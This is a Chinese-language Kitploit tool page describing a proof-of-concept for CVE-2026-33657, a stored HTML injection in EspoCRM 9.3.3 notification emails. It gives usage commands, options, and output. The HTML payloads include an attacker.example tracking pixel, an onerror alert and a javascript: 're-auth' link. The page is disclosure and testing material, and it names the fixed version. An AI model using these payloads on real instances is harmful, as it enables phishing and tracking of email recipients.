Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - 邮件通知中的存储型 HTML 注入漏洞 | Kitploit
工具/GitHubGitHub/entrovyx/cve-2026-33657
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - 邮件通知中的存储型 HTML 注入漏洞

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33657 - EspoCRM 9.3.3 邮件通知中的存储型 HTML 注入

针对 EspoCRM 9.3.3 邮件通知中存储型 HTML 注入的已认证概念验证。

概述

EspoCRM 9.3.3 在渲染流动态通知邮件时,会通过 Markdown 转换动态正文,并将生成的 HTML 使用三重大括号({{{post}}})插入到邮件模板中。能够创建流动态帖子并触发通知的已认证用户,可以存储攻击者控制的 HTML,该 HTML 随后会在生成的邮件正文中被渲染。

该漏洞利用执行了攻击者控制的远程部分流程:

  1. 向 EspoCRM 进行身份验证。
  2. 可选地通过 /api/v1/App/user 对版本进行指纹识别。
  3. 创建包含 HTML 的恶意 Note。
  4. 使用 --mention 或 --target-user-id 排队通知目标。
  5. 确认载荷已存储,且通知目标存在于 API 响应中。

当 EspoCRM 正常的 SendEmailNotifications 任务或 cron 处理排队的通知时,邮件即被发送。

受影响版本

  • 受影响:EspoCRM 9.3.3
  • 已修复:EspoCRM 9.3.4
  • 安全公告:https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE:CVE-2026-33657
  • CWE:CWE-80
  • 环境要求

    • Python 3
    • requests
    • 有效的 EspoCRM 凭据
    • 能够创建流 Note 记录
    • 通知目标:
      • --mention <username> 用于提及邮件通知,或
      • --target-user-id <id> 用于定向流动态帖子通知

    安装依赖:

    root@kitploit:~
    python3 -m pip install requests
    

    使用方法

    推荐的基于提及的路径:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u http://127.0.0.1:8083 \
      -U testuser \
      -P 'Admin12345!' \
      --mention admin
    

    使用自定义跟踪 URL:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --tracking-url https://attacker.example/pixel.gif
    

    使用完全自定义的 HTML 载荷:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
    

    针对特定用户 ID 而非提及:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --target-user-id 0123456789abcdef0 \
      --target-user-name 'Victim User'
    

    仅进行指纹识别,不创建动态帖子:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --detect-only
    

    选项

    root@kitploit:~
    -u, --url                 基础 EspoCRM URL
    -U, --username             EspoCRM 用户名
    -P, --password             EspoCRM 密码
    --mention                 要提及的用户名,不带 @
    --target-user-id           用于定向流动态帖子通知的用户 ID
    --target-user-name         --target-user-id 的显示名称
    --payload                 要存储在 Note 中的原始 HTML 载荷
    --tracking-url             默认载荷使用的跟踪像素 URL
    --link-url                 默认载荷使用的链接 URL
    --marker                   附加到载荷前面的标记文本
    --detect-only              仅进行版本指纹识别;不创建 Note
    --skip-version-check       在利用前跳过 /api/v1/App/user
    --force                    即使版本指纹不是 9.3.3 也继续
    --insecure                 禁用 TLS 证书验证
    

    预期输出

    成功运行会创建一个恶意动态帖子并确认通知目标:

    root@kitploit:~
    [*] /api/v1/App/user: HTTP 200
    [*] 检测到版本:9.3.3
    [+] 版本指纹存在漏洞:EspoCRM 9.3.3。
    [*] 以 testuser 身份创建恶意 Note
    [*] Note 响应:HTTP 200 ...
    [+] 漏洞载荷已存储在 Note 动态中。
    [+] Note ID:69fddeef8db756271
    [+] 解析到的提及:@admin -> 用户 ID 69fdcfb66c34ccb81
    [+] API 返回的通知目标列表:69fdcfb66c34ccb81
    [+] 完整的远程触发已提交。
    

    在存在漏洞的实例上,生成的 HTML 邮件正文会保留注入的 HTML。实验室捕获结果如下:

    root@kitploit:~
    <img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
    <a href="javascript:alert(33657)" style="color:red">re-auth</a>
    

    实验室验证

    在本地 EspoCRM 实验室中,运行漏洞利用后,触发通知任务:

    root@kitploit:~
    sudo -u www-data php command.php run-job SendEmailNotifications
    

    生成的邮件正文应在 text/html 部分包含注入的 HTML。

    备注

    • 该漏洞利用不需要对目标具有 shell 访问权限;shell 访问权限仅用于本地实验室验证排队的邮件任务。
    • 如果 API 报告 @@version,则目标可能是源码树构建。脚本会继续运行,因为底层代码可能仍是存在漏洞的 9.3.3 标签。
    • 如果 --mention 未产生解析的提及,请检查攻击者的 messagePermission 和 mentionPermission,并确认目标用户名存在且能够接收通知。
    下载工具